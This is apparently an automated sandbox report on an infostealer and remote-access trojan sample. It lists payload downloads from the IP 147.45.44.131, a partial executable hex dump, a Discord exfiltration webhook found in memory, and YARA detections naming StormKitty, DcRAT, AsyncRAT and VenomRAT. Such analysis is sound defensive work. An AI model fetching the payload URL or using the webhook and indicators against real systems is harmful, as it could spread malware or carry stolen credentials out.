HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 02 Jan 2025 18:14:17 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 02 Jan 2025 09:39:17 GMTETag: "2fdc00-62ab5ef921a41"Accept-Ranges: bytesContent-Length: 3136512Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 ee e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 e8 2f 00 53 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 c8 2f 00 00 20 00 00 00 ca 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f7 0d 00 00 00 00 30 00 00 0e 00 00 00 cc 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 30 00 00 02 00 00 00 da 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 e8 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 18 00 14 00 80 e8 1b 00 01 00 00 00 c5 08 00 06 18 47 12 00 fe b8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c c3 df 8f 3c 11 bd ff 34 87 b1 23 14 56 06 77 83 64 21 f6 ae ea 92 48 41 5a d4 f4 e9 cb 91 b0 af f6 49 f6 31 fe 0b 17 da cb 0b c6 59 cd b0 54 38 44 e3 bf 63 5b db 81 ef 32 94 82 dc bc a4 15 ec 6e 6a 6c 4f ca 73 5d 79 78 af 3c 8f 6d 74 38 2a ad 8e 04 fd f1 d9 42 ea a1 c0 ca 2d 1d 1e 72 49 18 a3 ca 67 a3 fa 83 3a fe 6d c8 00 65 80 c0 b1 cd 1f 89 87 cf a0 e4 6a 7b 55 6d 37 ff 10 39 99 3b 0d 11 ce 24 89 51 57 a9 9a d9 1e d7 41 41 30 56 30 79 d5 68 60 34 62 45 eb b4 89 3d f7 f7 b8 57 00 07 80 c2 18 00 be 4d 9a 26 2c 91 ed 43 ae 09 85 03 3a f6 5d 29 17 23 eb cb 6c ab 41 47 38 e9 42 0d ca 33 4f 29 3b 81 c3 22 e3 f2 4c ad 22 f7 8c 70 ee f5 a1 3c 31 7f 39 3b e3 59 46 98 20 f2 38 66 ea 4b 3f 12 e4 df 04 93 83 92 d6 9e 57 45 77 e8 3a c3 37 69 28 7d 08 d2 97 f4 6a 59 b3 32 a6 5d 75 7b e8 14 ac f8 91 31 43 fd e8 ad 72 7f fc a1 db 68 a8 fe 3a bf 62 e4 a1 05 9f af 76 4a fb 0a d0 aa c3 01 8b a1 6e db ab 11

Source: global traffic

HTTP traffic detected: GET /infopage/ersyb.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 147.45.44.131 147.45.44.131
Source: Joe Sandbox View	IP Address: 157.20.182.177 157.20.182.177

Source: Joe Sandbox View

ASN Name: FCNUniversityPublicCorporationOsakaJP FCNUniversityPublicCorporationOsakaJP

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131

Source: global traffic

HTTP traffic detected: GET /infopage/ersyb.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive

Source: rwvg1.exe, 00000000.00000002.1461268858.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461268858.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131
Source: rwvg1.exe, 00000000.00000002.1460482194.0000000000D12000.00000004.00000020.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461268858.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461185546.00000000028D0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000001.00000003.1426497539.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000001.00000002.1426984052.0000000000993000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000001.00000003.1425680221.00000000009A4000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000001.00000002.1427027175.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000001.00000003.1425600148.00000000009A4000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000001.00000003.1425799317.000000000098F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000001.00000003.1425665510.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000001.00000003.1425756917.0000000000963000.00000004.00000020.00020000.00000000.sdmp, udnn4kvb.dll.1.dr, udnn4kvb.0.cs.0.dr	String found in binary or memory: http://147.45.44.131/infopage/ersyb.exe
Source: csc.exe, 00000001.00000003.1426329779.0000000000891000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/ersyb.exe0
Source: rwvg1.exe, 00000000.00000002.1461268858.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.448
Source: RegAsm.exe, 00000005.00000002.3913630160.0000000005261000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: RegAsm.exe, 00000005.00000002.3913630160.0000000005261000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.5.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/ip
Source: RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: rwvg1.exe, 00000000.00000002.1461268858.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3907344980.0000000002C41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.newtonsoft.com/jsonschema
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5
Source: RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v6/users/
Source: rwvg1.exe, 00000000.00000002.1461268858.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461268858.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354cIt
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_see
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_seeaCould

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Keylogger Generic

Source: Yara match	File source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR

Yara detected VenomRAT

Source: Yara match	File source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: dump.pcap, type: PCAP	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.rwvg1.exe.2b25490.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 0.2.rwvg1.exe.2b22442.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 0.2.rwvg1.exe.2aba14e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 0.2.rwvg1.exe.2abcbb4.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 0.2.rwvg1.exe.2b22442.4.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 0.2.rwvg1.exe.2aba14e.1.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 0.2.rwvg1.exe.2abcbb4.3.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
